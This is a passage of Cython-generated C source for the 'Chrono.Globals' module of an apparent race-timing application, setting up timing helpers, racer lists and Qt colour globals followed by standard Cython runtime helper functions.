38, __pyx_L1_error) /* "Chrono/Globals.py":48 * # *********************************************************************************************************************** * * def createTime( milli): # <<<<<<<<<<<<<< * second = int( ( milli / 1000 ) ) % 60 * minute = int( ( milli / 1000 / 60 ) ) % 60 */ __pyx_t_1 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_7Globals_1createTime, 0, __pyx_n_s_createTime, NULL, __pyx_n_s_Chrono_Globals, __pyx_d, ((PyObject *)__pyx_codeobj__17)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_createTime, __pyx_t_1) < 0) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":56 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) * * def createTimeSeconds( seconds): # <<<<<<<<<<<<<< * second = int( ( seconds ) ) % 60 * minute = int( ( seconds / 60 ) ) % 60 */ __pyx_t_1 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_7Globals_3createTimeSeconds, 0, __pyx_n_s_createTimeSeconds, NULL, __pyx_n_s_Chrono_Globals, __pyx_d, ((PyObject *)__pyx_codeobj__19)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_createTimeSeconds, __pyx_t_1) < 0) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":62 * # days = int( ( seconds / 3600 / 24 ) ) %10 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second) * MainWindow = None # <<<<<<<<<<<<<< * UserRole = 0x0100 * racerList = {} */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_MainWindow, Py_None) < 0) __PYX_ERR(0, 62, __pyx_L1_error) /* "Chrono/Globals.py":63 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second) * MainWindow = None * UserRole = 0x0100 # <<<<<<<<<<<<<< * racerList = {} * tpRacerList = {} */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_UserRole, __pyx_int_256) < 0) __PYX_ERR(0, 63, __pyx_L1_error) /* "Chrono/Globals.py":64 * MainWindow = None * UserRole = 0x0100 * racerList = {} # <<<<<<<<<<<<<< * tpRacerList = {} * raceDuration = 2*60 */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_racerList, __pyx_t_1) < 0) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":65 * UserRole = 0x0100 * racerList = {} * tpRacerList = {} # <<<<<<<<<<<<<< * raceDuration = 2*60 * raceLaps = 2 */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_tpRacerList, __pyx_t_1) < 0) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":66 * racerList = {} * tpRacerList = {} * raceDuration = 2*60 # <<<<<<<<<<<<<< * raceLaps = 2 * # QColor used in software */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_raceDuration, __pyx_int_120) < 0) __PYX_ERR(0, 66, __pyx_L1_error) /* "Chrono/Globals.py":67 * tpRacerList = {} * raceDuration = 2*60 * raceLaps = 2 # <<<<<<<<<<<<<< * # QColor used in software * # Changed to dict (13.03.2018) */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_raceLaps, __pyx_int_2) < 0) __PYX_ERR(0, 67, __pyx_L1_error) /* "Chrono/Globals.py":70 * # QColor used in software * # Changed to dict (13.03.2018) * colors = {} # <<<<<<<<<<<<<< * colors["Red"] = QColor( 0xff0000 ) * colors["Green"] = QColor( 0x00ff00 ) */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_colors, __pyx_t_1) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":71 * # Changed to dict (13.03.2018) * colors = {} * colors["Red"] = QColor( 0xff0000 ) # <<<<<<<<<<<<<< * colors["Green"] = QColor( 0x00ff00 ) * colors["Blue"] = QColor( 0x0000ff ) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__20, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_Red, __pyx_t_2) < 0)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":72 * colors = {} * colors["Red"] = QColor( 0xff0000 ) * colors["Green"] = QColor( 0x00ff00 ) # <<<<<<<<<<<<<< * colors["Blue"] = QColor( 0x0000ff ) * colors["Cyan"] = QColor( 0x00ffff ) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__21, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_Green, __pyx_t_1) < 0)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":73 * colors["Red"] = QColor( 0xff0000 ) * colors["Green"] = QColor( 0x00ff00 ) * colors["Blue"] = QColor( 0x0000ff ) # <<<<<<<<<<<<<< * colors["Cyan"] = QColor( 0x00ffff ) * colors["White"] = QColor( 0xffffff ) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__22, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_Blue, __pyx_t_2) < 0)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":74 * colors["Green"] = QColor( 0x00ff00 ) * colors["Blue"] = QColor( 0x0000ff ) * colors["Cyan"] = QColor( 0x00ffff ) # <<<<<<<<<<<<<< * colors["White"] = QColor( 0xffffff ) * colors["Violet"] = QColor( 0xff00ff ) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_Cyan, __pyx_t_1) < 0)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":75 * colors["Blue"] = QColor( 0x0000ff ) * colors["Cyan"] = QColor( 0x00ffff ) * colors["White"] = QColor( 0xffffff ) # <<<<<<<<<<<<<< * colors["Violet"] = QColor( 0xff00ff ) * colors["Yellow"] = QColor( 0xffff00 ) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_White, __pyx_t_2) < 0)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":76 * colors["Cyan"] = QColor( 0x00ffff ) * colors["White"] = QColor( 0xffffff ) * colors["Violet"] = QColor( 0xff00ff ) # <<<<<<<<<<<<<< * colors["Yellow"] = QColor( 0xffff00 ) * icons = {} */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__25, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_Violet, __pyx_t_1) < 0)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/Globals.py":77 * colors["White"] = QColor( 0xffffff ) * colors["Violet"] = QColor( 0xff00ff ) * colors["Yellow"] = QColor( 0xffff00 ) # <<<<<<<<<<<<<< * icons = {} * icons["finish flag"] = QIcon() */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QColor); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__26, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_Yellow, __pyx_t_2) < 0)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":78 * colors["Violet"] = QColor( 0xff00ff ) * colors["Yellow"] = QColor( 0xffff00 ) * icons = {} # <<<<<<<<<<<<<< * icons["finish flag"] = QIcon() */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_icons, __pyx_t_2) < 0) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":79 * colors["Yellow"] = QColor( 0xffff00 ) * icons = {} * icons["finish flag"] = QIcon() # <<<<<<<<<<<<<< */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QIcon); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_icons); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_kp_u_finish_flag, __pyx_t_2) < 0)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/Globals.py":1 * #!/usr/bin/python3 . # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init Chrono.Globals", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init Chrono.Globals"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_RemainderObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = a % b; x += ((x != 0) & ((x ^ b) < 0)) * b; return PyInt_FromLong(x); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_remainder(op1, op2); } } x = a % b; x += ((x != 0) & ((x ^ b) < 0)) * b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla % llb; llx += ((llx != 0) & ((llx ^ llb) < 0)) * llb; return PyLong_FromLongLong(llx); #endif } #endif return (inplace ? PyNumber_InPlaceRemainder : PyNumber_Remainder)(op1, op2); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_TrueDivideObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long a = PyInt_AS_LONG(op1); if (8 * sizeof(long) <= 53 || likely(labs(a) <= (1L << 53))) { return PyFloat_FromDouble((double)a / (double)b); } return PyInt_Type.tp_as_number->nb_true_divide(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT && 1 * PyLong_SHIFT < 53) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT && 1 * PyLong_SHIFT < 53) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT && 2 * PyLong_SHIFT < 53) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT && 2 * PyLong_SHIFT < 53) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT && 3 * PyLong_SHIFT < 53) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT && 3 * PyLong_SHIFT < 53) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } default: return PyLong_Type.tp_as_number->nb_true_divide(op1, op2); } } if ((8 * sizeof(long) <= 53 || likely(labs(a) <= (1L << 53))) || __Pyx_sst_abs(size) <= 52 / PyLong_SHIFT) { return PyFloat_FromDouble((double)a / (double)b); } return PyLong_Type.tp_as_number->nb_true_divide(op1, op2); return PyLong_FromLong(x); } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("divide", return NULL) result = ((double)a) / (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceTrueDivide : PyNumber_TrueDivide)(op1, op2); } #endif /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* 